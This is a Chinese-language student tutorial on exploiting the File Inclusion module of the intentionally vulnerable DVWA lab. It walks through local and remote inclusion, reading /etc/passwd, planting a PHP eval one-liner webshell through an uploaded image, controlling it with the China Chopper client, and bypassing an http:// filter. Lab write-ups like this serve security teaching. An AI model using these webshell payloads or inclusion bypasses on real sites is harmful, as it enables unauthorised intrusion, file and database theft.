DVWA中的File Inclusion(文件包含)
最近课上用到了DVWA,通过学习总结了文件包含部分的内容,以下是个人的总结,因为刚刚入门 所以写的比较详细,希望对刚学习这一部分的朋友们有所帮助。
**原理:**PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
**类型:**本地文件包含,远程文件包含(相对较容易)
**提示:**upload路径:/var/www/dvwa/hackable/upload
inclusion路径:/var/www/vulnerabilities/fi
在kali中粘贴可以使用ctrl+shift+v
在/var/www/dvwa/下有一个文件为robots.txt,是敏感文件,意思是爬虫网站的时候设定的一些规定,规定哪些不能爬
删除文件的命令是rm -rf c.php
1.low级别
(1)本地包含(LFI)+生成webshell:本地包含顾名思义,就是在网站服务器本身存在恶意文件,然后利用本地文件包含使用.。
源码中没有任何防御措施,于是我们可以先进入到fi目录下将page=include.php改为y.txt,使用vim y.txt编辑内容为wenying,然后在地址栏执行发现可以看到内容:说明可以将y.txt文件包含进来,于是我们可以建一个php文件试试:
<? php info();?>
打开发现也可以:
我们看看执行命令可不可以:
/etc/passwd
那么如何生成webshell呢?可以通过在上传的图片里加入一句话木马,如果有文件上传漏洞同时又有文件包含漏洞,就会在文件包含目录里生成shell,用到工具:edjpgcom 是一个编辑图片的软件,使用的时候将图片拖入到edjpgcom.exe中,然后写入php代码:<?fputs(fopen("shell20.php","w"),’<?php @eval($_POST[wenying]);?>’)?>
前部分的fopen是一个函数,意思是打开shell20.php,然后将后面部分的一句话木马写进去。
在upload中上传这个图片
将这个图片的路径复制到文件包含的page后打开发现乱码,表明此php代码已经传到了文件包含中生成了shell,进到owaspbwa的文件包含目录中查看是否生成:
可以看到shell20.ph,所以我们就可以使用菜刀了
新建后右击选择文件管理,可以找到我们上传的文件,进行删除或等操作:
(2).远程文件包含漏洞(RFI)+shell
远程文件包含就是调用其他网站的恶意文件进行打开
我们打开kali建立服务器:
打开apache2并查看是否开启
在html下编辑一个文件
写入一句话木马:
:wq保存退出
可以查看路径是否正确
复制目录到文件包含的page后
再到文件包含目录检验是否生成shell50,可以看到生成了。
同样的操作我们可以使用菜刀连接,这里我们可以配置数据库信息如下:
右击点数据库管理就可以查看数据库的信息了
2.medium级别:
查看源代码发现将http://,https://过滤掉了,那我们可以继续使用本地包含的方法,或者我们可以二次重写进行绕过:
仅将中间的http://过滤,两边还是可以组成新的,查看fi目录还是可以看到生成了shell60.php: